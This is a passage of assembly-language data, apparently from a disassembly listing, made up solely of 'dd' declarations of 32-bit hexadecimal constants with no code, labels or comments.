		dd 0F93CEC6Ch, 0E6E7406Dh, 75840167h, 5843BD64h, 0D205FC29h
		dd 0A9E52500h, 0EBBAA796h, 0B29F16D4h, 9C5C0401h, 0DB688056h
		dd 102CEF64h, 5C01346Ah, 6327C38Fh, 4330D09Eh, 0D7205E83h
		dd 0FE460A5h, 8C00AD2Eh, 405ECE80h, 294B0h, 0C992C32Ah
		dd 0ED06D7B2h, 7ADBA0C3h, 52CB9855h, 7D2698B8h,	3E75B4h
		dd 7BE2400Fh, 0BB587012h, 0B08C4500h, 0A342B3DEh, 646639F3h
		dd 2F30E180h, 0F48AF888h, 9C62F9h, 47B1713Bh, 2AB5DEBh
		dd 0C10AA841h, 0F0C8818Bh, 48583C1Dh, 2F1E162Ch, 0EE18618h
		dd 45761C77h, 8D80FEC2h, 4771490Ah, 19007BC0h, 63210B68h
		dd 2953145h, 7D6C80C2h,	37C06DA0h, 0DF04941Bh, 33754A1Fh
		dd 0F18E80AEh, 4098D418h, 538A8710h, 720BE058h,	94A79747h
		dd 0ADE8B2DBh, 176BA0AAh, 0D320F00Ah, 0FD00C874h, 0A2992FA5h
		dd 0A0BB804Dh, 3960DFCCh, 64005383h, 321011B7h,	0B92C894Fh
		dd 4D007514h, 721FC278h, 0AC01185Dh, 80FE3921h,	48816B00h
		dd 0C217ED2Bh, 575000C8h, 0E399D19Bh, 0A2EE7907h, 0AD823106h
		dd 2870E7h, 6B4978A4h, 1DD6F48Fh, 9865A72Ah, 2FC3E813h
		dd 235700C0h, 3C08034Eh, 716729AAh, 0C19D000h, 0C1940A1Ah
		dd 4D5A39C5h, 10DC6F3Ah, 92E416h, 52014768h, 6400110Ah
		dd 639B6678h, 756E9786h, 0E4730065h, 0E517A77Fh, 0D70F416Fh
		dd 815A0A2Eh, 1F75D83Fh, 20E0470h, 0D2778809h, 47081E1h
		dd 0D7030A90h, 1F55C147h, 43AFB078h, 0A19B3D67h, 0AA172393h
		dd 0AECE4200h, 0ED4B02h, 0FA9008BEh, 71A74493h,	5099707h
		dd 21708681h, 58256F9Ch, 731F5C56h, 0F9287D31h,	0CB2A0084h
		dd 3E679A7h, 0D6008BF4h, 746BA5CCh, 30BAFBF8h, 2520C4D7h
		dd 0E4E76619h, 0A9076981h, 48A27065h, 0D1168480h, 1D6E0E6Bh
		dd 0E4BDDD9Fh, 662B041Ch, 48205604h, 770BBFFh, 0E961B7EAh
		dd 0B4DF5041h, 0AD0ED8E2h, 938CBE97h, 59059801h, 6C79DB06h
		dd 0C457CC0Bh, 0B2355460h, 0AC414Dh, 901AC36Eh,	1F3444DAh
		dd 0DB8BA4h, 2C86274h, 0A0066D2h, 0F824ED21h, 3552EBEh
		dd 0BA672813h, 47A0342Fh, 1700F274h, 18EE6DA1h,	0A3EF3h
		dd 0FFEBF528h, 9676D695h, 13006173h, 65871B29h,	0A0828A54h
		dd 1038FFACh, 25F58E8h,	0F77C8EFBh, 30060102h, 0E00470C8h
		dd 1C01FCB0h, 4A4EDEEAh, 1C037E5h, 3A14B8A2h, 3875EDFFh
		dd 0C78095A6h, 0C2E3AB54h, 8306F885h, 56A15A0Fh, 0C040285Eh
		dd 0D3CF00ACh, 9C3B598Bh, 0E0B2F5C8h, 69CA0C0Ah, 0D8075C28h
		dd 0DB70E36Bh, 28464CABh, 3BB4B575h, 1501C7D9h,	9412DF5Bh
		dd 5587D3Ch, 40042E5Dh,	7A0BC9C0h, 0A2FA2D13h, 0E37D004h
		dd 0F1FD20F9h, 2E33A147h, 8810BDF4h, 8138D871h,	4D0ABC56h
		dd 0EC2C6450h, 0D93AAC00h, 0C112FF0Eh, 71FB8900h, 4DFC6FEAh
		dd 28F92E52h, 64870060h, 0AEFF2059h, 1C46F000h,	49158BDFh
		dd 6AD8906Fh, 24F096h, 0B93CDA81h, 0CB00DE69h, 0C3BBDCF1h
		dd 668EE35h, 0E15ECF03h, 81E09027h, 0D3A82418h,	905AA11h
		dd 5962A02Dh, 3C0AA041h, 0FE240018h, 4FF2977Eh,	84DF3806h
		dd 0C139109Fh, 5C7636A3h
		dd 0A0EC6433h, 6E04740Bh, 217422AAh, 7918C0F5h,	798371B3h
		dd 6A290067h, 34D7A2A7h, 2A001F81h, 18DC9B61h, 28B2717h
		dd 707AE3ACh, 9E80076Ch, 14CE01C2h, 0C49B3000h,	0A01C1343h
		dd 23980028h, 3782DCD9h, 44000CB7h, 0EE12EBDh, 2E0E7A8h
		dd 6E1D1BF8h, 53C3AD69h, 0B4A428A8h, 145C81E2h,	59E204CFh
		dd 78804D4Fh, 0C2A0B10h, 6690E9EBh, 76165F10h, 51FC1501h
		dd 8C5A1C01h, 0E496EE4Fh, 8E3FD2C0h, 80C7B817h,	574D3B53h
		dd 3D2B294Ch, 1B80800Dh, 0ABAF1C5Eh, 0ED0034E4h, 0FD8DFCE0h
		dd 121F4CF9h, 0A0B671DFh, 0C90B44CCh, 873DD7B1h, 0DB8079A2h
		dd 0E02D7Fh, 970CDCD2h,	0A711C272h, 1F09983Eh, 0F7C3D6B2h
		dd 0B13A7EBAh, 7FEC2FC6h, 636000B0h, 4C9E6FF9h,	2001C940h
		dd 65DAEC3h, 842426ADh,	58BE002Ah, 7CEF5F95h, 4F038A19h
		dd 0E09D60E7h, 0C3CCDA68h, 0C64C0082h, 297A0850h, 101C4E9h
		dd 9E28D436h, 2870B277h, 0C080ED8Fh, 58D88B97h,	6A00DC4Fh
		dd 47ABC4B7h, 2E6F0ACCh, 7C405B9h, 0E0A315D3h, 72240E9Bh
		dd 2B0F8C00h, 0F3048E19h, 0AE010E4Eh, 697EFF7h,	586257BBh
		dd 0C26521h, 47BE70E3h,	2F7D9C30h, 37153B00h, 4093FFA3h
		dd 0FC360727h, 9089AB13h, 4D869C4Bh, 0D0EC9600h, 3C6A11BFh
		dd 0BECF0037h, 915325AEh, 390052C1h, 0DB905BECh, 1E89310h
		dd 0B4ABCEE6h, 80ED3C87h, 0C2B23A10h, 2E6633h, 0BF9B5A44h
		dd 0F6CC7FD7h, 4B3BA300h, 8CB1C71Bh, 0C1702Ch, 9A04E103h
		dd 0D7D02BEh, 0CBD24200h, 0F741E579h, 6B9B002Ch, 90C8352Eh
		dd 9107570Ch, 0EA67C42Ah, 0A302F430h, 8824071Dh, 0F0CE341Ch
		dd 982F939Eh, 802A223Fh, 991086F3h, 3B3DCF0h, 0B6C4C9A7h
		dd 2AB89CE3h, 9D3AB59Fh, 8639BC8Ch, 0D0C759F1h,	0FA4913F4h
		dd 1D8F00D3h, 0F7BF9783h, 2ACCDF00h, 9DC7BAC8h,	0DDFE0F43h
		dd 0C141FD7Ch, 340BEE23h, 4EF6A37Ch, 0C4495500h, 0A461E4CAh
		dd 7EB70963h, 2003916h,	8D198310h, 0DE5B7100h, 863714CFh
		dd 3EEE058h, 0AA7BE384h, 5177B096h, 0FD598A1Fh,	60C23A00h
		dd 72D347E7h, 83E43F86h, 0B28097h, 0FED95A3Dh, 980074ACh
		dd 364A6AAEh, 74782E2Dh, 30D826B1h, 0EE8D00A9h,	0E1DEE804h
		dd 0EF150D00h, 938106B9h, 521900F9h, 26FEA0E6h,	111FA584h
		dd 0FC405D83h, 0F486DEDCh, 0C39D004Bh, 57DA92E9h, 67002418h
		dd 1A2797FEh, 13213ABh,	283F1420h, 0D6959285h, 91ECB0C0h
		dd 8FCED438h, 81800Bh, 38C4DB23h, 9A85000Ah, 0CAD13BDFh
		dd 0C73C20FFh, 1A1E9E25h, 1276C9C1h, 1C328F2Eh,	0B7FB6002h
		dd 2CC0D707h, 1B0018C9h, 308D8A56h, 0F522350h, 0B7C4FAEAh
		dd 0AE84036h, 0C39FFB42h, 7581B101h, 1EBCAA3Ah,	0AEF7D8h
		dd 11F270CEh, 0F8CB5A0Bh, 3D0B000h, 3C326CDEh, 0CC9084h
		dd 836F7673h, 9BBA6E70h, 62100C00h, 51C12EADh, 2D190090h
		dd 0ED14A923h, 0B5EEF0CCh, 0BA337F01h, 4D8BAA7Ah, 99001028h
		dd 0CDD63CD2h, 89004E23h, 0A0588C32h, 99DA73Fh,	0CF70F8DEh
		dd 0C4098440h, 872F7612h, 69BA8E07h, 0D05D76h, 4D90D814h
		dd 0CFA5890Eh, 5E725805h, 0F8C0B005h, 0A878EA4h, 0EEA7C7DFh
		dd 485200E0h, 0EA649D41h, 0F7D99503h, 834AA86Ch, 0FCDA9844h
		dd 2641FE91h, 0D099B1h,	0B633782Ah, 1903378Dh, 0C3DDFC7Ah
		dd 7390AF57h, 39271EBEh, 0B8E1229h, 58A29119h, 69C098A9h
		dd 3E2E4913h, 6100844Eh, 8D290A10h, 41985Eh, 156A5AE9h
		dd 8ABF3E96h, 4B758C09h, 7B0700Bh, 0FDEE0681h, 9D8E3321h
		dd 0F758EB88h, 5CFACB2Eh, 74702027h, 0B4566F79h, 118A009Ch
		dd 0BA802327h, 720317FAh, 63092503h, 29FAD04Dh,	6B593C83h
		dd 70AD4F8Bh, 1ACC8C00h, 0DB26346Ch, 0E100B6ECh, 772F7FBAh
		dd 367FEDh, 523ACB66h, 58E41EAEh, 3ABEBF3Ch, 5CC00F9Ah
		dd 99B9002Eh, 1F1980h, 36D9D60Dh, 27FEB668h, 588F5C00h
		dd 0DBD23B45h, 0C3A900BEh, 927C85A6h, 0A40070ACh, 0B367A0D6h
		dd 0BEED4Ah, 0E9CF152h,	0FBE7182Ch, 5BE5E300h, 0BF3DC991h
		dd 0F81501AAh, 0FF2C4146h, 0F6D3C09Ch, 0D15E0C07h, 33719F0Ah
		dd 0D70D26Fh, 0B872E6ABh, 0E6030027h, 45B0365Eh, 22018DE0h
		dd 0FDB70135h, 2BC07Eh,	583C0C5Ch, 3600F968h, 0D8C4A80Ah
		dd 3C15016h, 0C529E611h, 0C7A760AFh, 46F5C0E0h,	0B400F7C2h
		dd 0A59743A9h, 5A84C61h, 0D12911FCh, 0AFF480F1h, 0BD03677Fh
		dd 2A4639ECh, 9692077Bh, 0D4758D48h, 5C74F09Fh,	0C3443000h
		dd 512283BBh, 3AFF00B3h, 0BCF7EB2Eh, 4C00ADAFh,	0FC19DD46h
		dd 94CC9Dh, 5E242D52h, 6E92F6DCh, 0C53A48h, 916304B9h
		dd 130EFD3Dh, 0A253DFC2h, 88DA2180h, 5047646Ah,	92124E45h
		dd 813558F4h, 0BC273AE1h, 0DC3382EEh, 0CB28A450h, 62C231h
		dd 5163BAh, 5A205BCDh, 260E2DA9h, 0BB7D8500h, 0D3A6E0A2h
		dd 0EC9D0098h, 0BD417AC2h, 300062A4h, 96DE5612h, 1257B2EDh
		dd 0BA030ADBh, 0B5D34C02h, 0E1C07459h, 2207D1h,	0E2C50Bh
		dd 9805630Ah, 0A2A9422Ah, 0A4176B00h, 0F4EB1595h, 0ABEA03D6h
		dd 0B6E4D2C1h, 50121CF9h, 0E15693BCh, 0DE88DC54h, 0A5BC8CFh
		dd 0AE007452h, 0C11A8434h, 26110004h, 48645958h, 894CAFD2h
		dd 504A0BB9h, 78B20030h, 0DDC051h, 0C7D0275Dh, 96B46C7Dh
		dd 53056E7Ah, 7B2F2EE2h, 716180EEh, 8E0052F6h, 6F78C541h
		dd 21A3A2Ah, 0B9E20466h, 0C0DF4B0Bh, 0A78704h, 0FABDC5D8h
		dd 2B1135FCh, 237C7E03h, 0F8E6E120h, 90D39ACFh,	0FA890096h
		dd 0A2E4216h, 5300C15Eh, 3EAC78CCh, 0FE94BAh, 0E2055A15h
		dd 0E52237EDh, 0B9006CF4h, 74629FCh, 0FA3B648Dh, 0FF5E0023h
		dd 132D8B15h, 98009BD6h, 11F61888h, 1EB38712h, 0C17AEFEBh
		dd 222E164Ah, 2C8261CDh, 58F71E1Ch, 8903FC68h, 0A1161070h
		dd 0C9A371h, 22413821h,	1AF485F9h, 0EC8AEF0Ch, 8CCC4968h
		dd 0D634A979h, 24484015h, 52D7809Fh, 0EF962622h, 0B8C5ED00h
		dd 0AD161866h, 0F3A72893h, 3B67DF0h, 0A5336D69h, 7AAE5682h
		dd 9483DE5h, 0F2AFE15Dh, 7E9D006Ch, 89BBEA53h, 0A31D0330h
		dd 801937D1h, 53D4A621h, 0E0C10016h, 0F9D8291Dh, 9360FE47h
		dd 327891C0h, 0BA130F4Dh, 54C22358h, 3090E25Dh,	0E5115385h
		dd 968881BBh, 52CDFF80h, 5015B0F9h, 7E58801h, 69396EA7h
		dd 3A7DA016h, 0BA065E02h, 0E4616689h, 0E57064h,	29D084A9h
		dd 3435687Dh, 9FA7BE00h, 0AE94B0D9h, 0C78B00D6h, 83C4DDF8h
		dd 0C800D41Ch, 34AB57A3h, 0C2FB8Fh, 0E9242ACEh,	0C96D1FA6h
		dd 0A7A3CF00h, 116E4F63h, 1C080019h, 0B5AA9A35h, 403BA8EBh
		dd 69260058h, 56DE8A49h, 44F41Bh, 2AA325DCh, 7447D572h
		dd 69B9A807h, 0B1D7CFDFh, 93F7DA40h, 0D92C0089h, 74290364h
		dd 7100D259h, 0A6885A0Dh, 7F57F63Ah, 7E2C0F28h,	78033430h
		dd 18003ED4h, 0BC9219ABh, 3C9C1B1Dh, 9F9CF36Eh,	917680A2h
		dd 0A553A613h, 0AD00A874h, 931569CEh, 7653309h,	0E22639BDh
		dd 6B7B12ECh, 0DCFE10C1h, 0DD09C144h, 8E96B1FDh, 2A0A0017h
		dd 0F4660Dh, 761C3DC5h,	6BD6995Ah, 77AA1D0Eh, 292674Ch
		dd 707B4BE1h, 48D59CCh,	322369C4h, 0B91280A7h, 4E01C6C2h
		dd 949ACE74h, 3B31A271h, 0B19430h, 0C255C745h, 82FB1E4Eh
		dd 0AE0A370Eh, 52CC9FFEh, 1F5DC890h, 3CAB6693h,	86D43A07h
		dd 0F5F4A04Fh, 0B33A5381h, 49599D17h, 11C0E75Ch, 0B5E8656h
		dd 5C7A00D5h, 0F962FBFEh
		dd 1C001989h, 2BFF7924h, 0C79F8BA7h, 73205240h,	7DF0749Bh
		dd 0CBFE895Dh, 73AF9800h, 34284035h, 27DC05C1h,	80C64D94h
		dd 6049E89Bh, 9F00DE7Eh, 96EC225Bh, 71BC9Ch, 0FCEABB64h
		dd 0FBE11D2Fh, 0D58F0306h, 17485852h, 1AD2F6h, 0D1209372h
		dd 0C93E762Bh, 0A9360EA4h, 0AABC1347h, 0DA1F0F01h, 0ECADE9A6h
		dd 0F2003B03h, 0CE1A4FD9h, 1F3366BCh, 40441B02h, 0F65DB93Dh
		dd 6E0057EDh, 0DA6A404Dh, 33A0C8Ch, 9BFB43A6h, 33C05031h
		dd 40005668h, 0F718ED9h, 0ECF8AFEh, 11F0FA72h, 1FD7C080h
		dd 0B70084F4h, 0B13121D4h, 3B61410Ah, 8B0042C7h, 7FF91198h
		dd 0DC388997h, 49685F7h, 0F40035DFh, 264D1356h,	3D0F678h
		dd 5CC397FBh, 0ECC065D3h, 7400EEB7h, 160CFE1Ah,	7D0E604h
		dd 41251F9Dh, 7AAA60FDh, 37003D8Ah, 2F18EC68h, 50249F94h
		dd 2259C43h, 0E9983BDCh, 88AACBF1h, 99C001Ah, 75067B2Eh
		dd 0DA322700h, 1DDE85B8h, 371600F1h, 171B52B1h,	24003861h
		dd 187513E6h, 1F264433h, 4783CB68h, 40AD57B8h, 8258B423h
		dd 0C7EAB000h, 0A2EF9B2Eh, 96AC006Ch, 2A260FB1h, 71041C5Bh
		dd 77F4C3FBh, 517D097h,	4B434FE0h, 0F7C907C1h, 117015CFh
		dd 0E0CE0348h, 1EC7BEDh, 372AD800h, 7C89D5E6h, 46990018h
		dd 0D7402B14h, 1074221Ah, 2C8C70Fh, 201BA947h, 0AA609F14h
		dd 67E4D2h, 0CCA87708h,	0B4466E84h, 0FD46301h, 991E0765h
		dd 5651E8F3h, 4FC302F9h, 11DF060Dh, 7BFD4840h, 4CE73C3Ah
		dd 2D341F28h, 0A880FB1Fh, 0DA976495h, 3E7A142Bh, 0F5009002h
		dd 0CC45C02Eh, 1B704146h, 25909700h, 42B35094h,	5FD3139Eh
		dd 0CFA1057Dh, 380086B9h, 7F375200h, 0CDF384Ah,	8E25002Ah
		dd 485BB6BFh, 0DE303320h, 0D4B2827h, 7A807F6Dh,	32B01EA8h
		dd 1082C099h, 29D2506h,	24FC3A00h, 7CB1D65Dh, 74A80721h
		dd 0CC6764ADh, 4D031F58h, 118E7861h, 177AC039h,	7C6A0089h
		dd 0AE3CF1ACh, 38003D80h, 5F201F34h, 0B84D0F8Dh, 0A5F21443h
		dd 7C30A350h, 45B27B31h, 0B8232B00h, 0E6D99EB0h, 0B8C374C6h
		dd 3D4D0015h, 0BFCD0EF3h, 0C501390Ah, 2E861256h, 93E01F06h
		dd 27EF0008h, 0CF0F2078h, 4678D28Dh, 9A25D5Ch, 299BBFh
		dd 30AFCEFCh, 0D64E00AEh, 2256A88h, 14013124h, 0C05ACCC9h
		dd 0BAF48727h, 2C7B0703h, 0E0D354B9h, 4F80F2FFh, 0C7914400h
		dd 0D73BF95Ah, 0E9B50026h, 1CEE86D2h, 0E10C4946h, 98D6DF2Fh
		dd 0D9DA0044h, 173CE590h, 0C3001E57h, 31D7828Dh, 98BFAE40h
		dd 768C007Ch, 0C6A9FC03h, 6D24D443h, 0AE006835h, 18F0F974h
		dd 4628C03Dh, 0CC59E8F2h, 72F68507h, 8C20B6B5h,	481447h
		dd 3B57CF0Dh, 8981370Ah, 158E3Ch, 0E52F9AF0h, 4A32D380h
		dd 86DB003h, 0A41CC400h, 3CC2E3A3h, 76432684h, 437C1D8Ah
		dd 0B7EDBAAEh, 5353688h, 0C8777300h, 810B4F8Dh,	29F0E567h
		dd 58F8E3h, 4112A527h, 46ED1302h, 660EDF0Eh, 1CCB3CFDh
		dd 0AE9C2122h, 83C8D5C3h, 0AF2A0024h, 0E4EA820h, 0A200964Bh
		dd 0F5E4BD86h, 75AD95Dh, 5012F9B8h, 60A34053h, 0A6004A7Dh
		dd 58886465h, 6295Dh, 0B86A5087h, 0D2A2257Eh, 85613803h
		dd 25670C8h, 32A90520h,	286153AAh, 7691D0B8h, 66312307h
		dd 0D59057BDh, 1E41ED9h, 452E2C6Ch, 0F4A1399Ah,	930069E0h
		dd 6879BBAEh, 60AF2DB0h, 0E32C9407h, 0B101536Ah, 0FA6BD8E4h
		dd 39D890E5h, 78687C61h, 0F597078Fh, 0D0F4B9D2h, 0CD04D9E3h
		dd 0F27F1E03h, 804B49E6h, 321458h, 0CEEF4ACh, 0FB163080h
		dd 0AF38ED01h, 5F6A7406h, 0B999C0h, 6C692CADh, 0A2BEB309h
		dd 3E949748h, 489802Fh,	0B8F74DA3h, 0E0C53FA8h,	0C1FE3601h
		dd 30FFE1BFh, 1A0B43ECh, 30D065h, 7E5C2447h, 0EE3A0023h
		dd 0CDB91C9Fh, 8200C7C3h, 140580BAh, 513B2Ch, 78DAF81Eh
		dd 0EEF001DDh, 903FAE0h, 0D65BBA87h, 0DB89C8F9h, 20FB0072h
		dd 378574Ah, 140036C6h,	30EF4BFDh, 6FBED2h, 8584D60Ah
		dd 4C35700Bh, 61C421C0h, 0F45AE5D8h, 8F5001EAh,	0E2D35D7Ah
		dd 911424E9h, 3F63BC00h, 0A467EC35h, 0FE80E19h,	0FA205597h
		dd 0C86189A7h, 2CA8ED00h, 0A3D02BBAh, 46EF00CCh, 9B1E6326h
		dd 5400E197h, 7E15078Bh, 867775h, 7FD1E90Bh, 896A1079h
		dd 0DC9D2F0Fh, 7D9FA03Dh, 0C1344C6Fh, 62304280h, 0D5CC3056h
		dd 0B97A1D16h, 0A577E100h, 50CF7175h, 26E31074h, 6454C4Fh
		dd 282377B3h, 485894E6h, 62210F94h, 0E04963B2h,	0D2100340h
		dd 37BF158Ch, 7605BC7Fh, 0B7E84248h, 40CF9EC0h,	38A72AC1h
		dd 1D217E84h, 17EDCE8Ch, 3F5841ACh, 64EE0C45h, 14007D1Ch
		dd 566DA567h, 507CD64Fh, 1E87084Ch, 412F445Ch, 0CBD94658h
		dd 595C41EDh, 0D2518052h, 2F4A584Fh, 7014AEE4h,	0C8E0D8E3h
		dd 6A078377h, 0B6F71CE1h, 8FBE0EE0h, 0A31300DCh, 3B28E9D0h
		dd 0C8001A19h, 6285FAFFh, 518DB1h, 0B71ED70h, 0E0ABA932h
		dd 0F1163100h, 0EEF35F4h, 7107FC5Fh, 1E614h, 3E6DBCEEh
		dd 0D4A29DCDh, 0E7D67A01h, 8FE6C46Ch, 17FF5E4h,	0DB016169h
		dd 50069C25h, 40493E84h, 979FCB00h, 812BBF4Fh, 1EF700A3h
		dd 9EFBC360h, 33284939h, 7B00A81Ch, 344EE1D9h, 30288EC9h
		dd 0A6F1599Ch, 0A70563E0h, 3FCEAAB2h, 68B9C440h, 3CEB6176h
		dd 88003E16h, 0D2A9F1FFh, 70003197h, 0CF6D9BBAh, 55EE81h
		dd 167D40A5h, 0A6670390h, 0D0E79F8h, 0B648B147h, 78A4E507h
		dd 6227CA40h, 42A04B5Ch, 1A6AC32Ch, 0CDD78077h,	0C9FB917h
		dd 58231835h, 7FF47DA1h, 9B3DAD00h, 4E6280CFh, 795C9218h
		dd 0B5A60013h, 3F525F74h, 0FC010FD1h, 0B10AD7AFh, 7DEC570Bh
		dd 11680115h, 6D191AF7h, 95A050F1h, 48C02B8Fh, 5B720647h
		dd 0A64D0089h, 3D17F2D9h, 0A830706Dh, 0D14938F0h, 5D0607D7h
		dd 0B34BB5C5h, 22D02817h, 0B300DB1Eh, 3B5EC16Eh, 5BDE63h
		dd 23F366DAh, 3E214385h, 4C6C5900h, 1D164B3h, 71460082h
		dd 0DB51C69Eh, 170F4986h, 40BCBA53h, 2C6B48A5h,	2DC80FCAh
		dd 6A8110CEh, 30036731h, 0F40FBBC1h, 406CBF47h,	81D1DAA6h
		dd 1CA57B0Fh, 0C09EC41Ch, 0EE2E1921h, 1DEC6E3Bh, 0A6FAA7FCh
		dd 4C00ADFAh, 0DA481F24h, 1C73275h, 1386878Dh, 0E16D18A1h
		dd 970460DBh, 0F2C60F01h, 0D466396Fh, 463D094h,	0B3B8ABh
		dd 284484CFh, 0D5B1BB8Ch, 7E0618ADh, 1106C9Ch, 0F45FDBCh
		dd 60447ADCh, 0B2005DD9h, 146B2FFCh, 65EE67Fh, 8CBD63D9h
		dd 0B842291Fh, 6AD26E08h, 6F8E3210h, 0C6C2111h,	0DE512D73h
		dd 83911F3h, 1115C011h,	8615D6ADh, 2B702943h, 28423489h
		dd 763C854Dh, 1E961404h, 0A9422848h, 230224D0h,	9C44C4D5h
		dd 9AD34610h, 64AE50A1h, 0F015448Bh, 0E1E029C1h, 9CFC92C6h
		dd 3F561CBFh, 4CA6402Fh, 9B8ABE38h, 0FFE6FA90h,	0D5A7CC00h
		dd 0B75059A8h, 70BC7EE5h, 6841003Ah, 88BDE45Fh,	0C0CFFC8Dh
		dd 228560E7h, 1F0642EBh, 0CFE42695h, 0C3A02AFEh, 80166669h
		dd 0A7079973h, 838994CDh, 0C0F69FF2h, 3F8E406h,	0B8755CA0h
		dd 0AEC90DC3h, 8F89C8C1h, 884E9B00h, 0FDD28DD4h, 0B2766Fh
		dd 5814A235h, 0CF159693h, 9B0A6D00h, 0A33D366Eh, 0CB453EBBh
		dd 0C380AEB8h, 42DD18E6h, 880029DBh, 7BBE6A0Ch,	2F0133h
		dd 57529C02h, 0B2DA5C36h, 0FAD81001h, 62B10E93h, 788930h
		dd 4B999465h, 4551EC92h, 8C2CCF00h, 0F84E6C7Eh,	9CDE289Dh
		dd 566A0093h, 7C691693h
		dd 1E600C46h, 0BA82AD5Eh, 860D4C54h, 0D473D900h, 923AA8C6h
		dd 0BB00F9B0h, 0A13648FFh, 1B4BD91h, 51A47FBEh,	0C49C505Bh
		dd 674809A6h, 896D3A78h, 9B9138h, 10981B45h, 6ADF062Ch
		dd 0A2FE312Fh, 4A5FA21Eh, 0E9D17240h, 3CE36F81h, 0D8000908h
		dd 0ACBF896Ch, 5B006D29h, 841DDD3Ah, 523F37h, 4EBC1FB2h
		dd 3D7A39B9h, 0BA1C8100h, 9ED44CA5h, 0D8DC0790h, 20598636h
		dd 0AB296003h, 0C8757D00h, 0F0B213F2h, 12D90041h, 453A1BCFh
		dd 9700B4FDh, 56A165E5h, 0F820DA01h, 0BD310EB0h, 0C802C24h
		dd 0DED9BEBh, 42506800h, 1417C64Dh, 8CD0030h, 0C243615Ch
		dd 64F2A5E0h, 48896600h, 0AA598A06h, 2676073Ah,	300CA317h
		dd 98FFF9Fh, 0F9532900h, 53D2FA0h, 73190024h, 44E132AFh
		dd 9500500Fh, 9D11812h,	0EE11D7h, 40564A4h, 4A3DD9DEh
		dd 0E6B1D00h, 0D007765Dh, 0E6370002h, 0B9104B9Bh, 0ED00D908h
		dd 17EC56EEh, 0BACE0A4h, 2B52B0D2h, 6337E4E0h, 0E71E840Fh
		dd 33E18059h, 0F8FC5Ah,	0D10DDD11h, 0F4E6B480h,	0B8AC4F00h
		dd 0EBC32A8Bh, 0B27237h, 6BA50715h, 9A65C689h, 43B94B00h
		dd 0EE7EBE6Dh, 0E6DF0026h, 0E1FAFE48h, 717220DCh, 7997FF00h
		dd 0B935CF25h, 7878A1h,	0CB484D63h, 9F584FC1h, 0CEDB9B17h
		dd 50A2ACA0h, 15D0B8h, 5FED7932h, 0F6AA1CD1h, 0C0475000h
		dd 0C3951FDFh, 69B90387h, 464E0ACBh, 17D09DC3h,	60E49649h
		dd 97133D00h, 0C0D6B8E3h, 0FA9106BBh, 0E84A2310h, 8690FD54h
		dd 9442F206h, 184C1Ch, 67D9810Bh, 8E8B920Dh, 0A353826h
		dd 63018717h, 0EFC1DA53h, 4A4DA081h, 41E31EA9h,	0C4488FB0h
		dd 0CC3CF02Dh, 0B4DB00CBh, 0EE1211F5h, 0CEA700D8h, 70937B41h
		dd 0BB0014DFh, 472E51F0h, 1273A90Ch, 0B5552Ch, 0ED25456Ch
		dd 24E0F7D7h, 0F868A41Eh, 0C00E452h, 0A2E9214h,	931500C5h
		dd 205FA986h, 7900D809h, 0ECA52247h, 32F246h, 66B2FB12h
		dd 2059285Bh, 0B443D400h, 4070537Eh, 8EF7539h, 0B65BF196h
		dd 56810200h, 1BBB2h, 8B0FE0F0h, 65E1C27Eh, 0FCD25250h
		dd 0D6680900h, 0A679D347h, 58500A8h, 98C37F51h,	0D91ED114h
		dd 421CFEDEh, 886786C0h, 0EAD79Eh, 0B1540D4Eh, 0FFB22C91h
		dd 0A7965E05h, 0EC003B63h, 0A3BFF08Ch, 380C00DEh, 77B35C25h
		dd 18017CBAh, 0C4844D31h, 40F4598Ch, 0B075006Ah, 1D37D53Dh
		dd 2828741Bh, 8575BCFEh, 0CF7A7900h, 204EC267h,	66C8A8CDh
		dd 0D9310E62h, 9127CEF5h, 508D03E8h, 0FDC895EBh, 20329312h
		dd 0C0FA6049h, 30FB4Ah,	26CFEC9Ch, 0ED3A4552h, 0D6D26900h
		dd 9A441E36h, 0C2900022h, 5F5D9930h, 6900CEDDh,	508EEDADh
		dd 0AC915h, 0F1664298h,	4B5BB52Bh, 3BC62100h, 23C8DBD4h
		dd 0C74900CFh, 2F52FC26h, 0FF00484Ah, 7FD68D2h,	0A61E20h
		dd 3C77997Fh, 3D560911h, 32B68607h, 4751432Fh, 820E7EAh
		dd 0E6591F8Dh, 1E8CE44Fh, 3CD88242h, 1860EF5Ch,	0E20056F4h
		dd 0CAAF3D6Bh, 5DF7B4h,	238B8743h, 63B2DDC0h, 95EA8C00h
		dd 699141E3h, 829700DAh, 428D48EBh, 83003086h, 0A3774313h
		dd 0E5C9C5h, 57D58A58h,	75F81C2Dh, 0B03C2A7Fh, 70B86AAh
		dd 30A8641h, 0BC8BCC79h, 0BDF858F4h, 59007DD8h,	996D144Bh
		dd 689E8Eh, 1CC73752h, 0CFB5B279h, 0F79FE70Fh, 0EA12A73Fh
		dd 0D90AEBA0h, 0EDD0074Ah, 613C330Bh, 40C18388h, 39CF3EB4h
		dd 0DBAE7107h, 73605482h, 94B64DEh, 0D5E856A6h,	0C78A5420h
		dd 0C000DB52h, 0BB46A239h, 0E6376996h, 0B5EA0001h, 4BF893BAh
		dd 0AC00877Ah, 0A0F5CB19h, 4C5D0F5Ah, 0E90908E6h, 4C80D9A8h
		dd 0CF4A94FDh, 0F6726E00h, 4DA531ACh, 0DDCD00A1h, 0E7C038C7h
		dd 0F41E4355h, 30C05DE6h, 0DA0737FBh, 23660046h, 48FD583Ch
		dd 67008FD4h, 17DC4ACCh, 36805CAh, 227532C8h, 14C9A395h
		dd 6F99E37Ah, 0F49DC861h, 2B13B700h, 64AB0677h,	0C0BD0024h
		dd 8734117Bh, 8FFCA0A3h, 4AF23D58h, 0B33B06BCh,	0E8F2D900h
		dd 0A127E073h, 5B1D78E8h, 0FDDD32h, 0FC4BD558h,	8764DBh
		dd 1BF8F155h, 197D97EEh, 0B06A675h, 0D8BBB069h,	0F95800FAh
		dd 6484E826h, 5A01F60Ah, 0E408BD6Eh, 0A8211BAAh, 52BE30h
		dd 0CDE5DD86h, 5D93A362h, 0E1108700h, 96D776D9h, 51F00Ah
		dd 1EF14643h, 0A7DFD51Ch, 0CD5F7700h, 0A83EA416h, 0EFBC00FFh
		dd 0AF7AB4D7h, 26018B60h, 47BACFD0h, 0F07E78B7h, 41007797h
		dd 2D6CBF10h, 0F5AF59Bh, 0B1AED1F0h, 900C007Eh,	9167988Dh
		dd 0A357DA07h, 41B037FDh, 1DB9FCD5h, 0C071EBC8h, 1F176E06h
		dd 0CD00F99Bh, 24E41590h, 3D3EBF7Ch, 0E1C83BC9h, 0EA1F700h
		dd 95AA0651h, 94376100h, 422AC2D1h, 289E7229h, 0F4F4F54Ch
		dd 5B530020h, 0B5261F1h, 7F008083h, 400DA014h, 0AB4FA5h
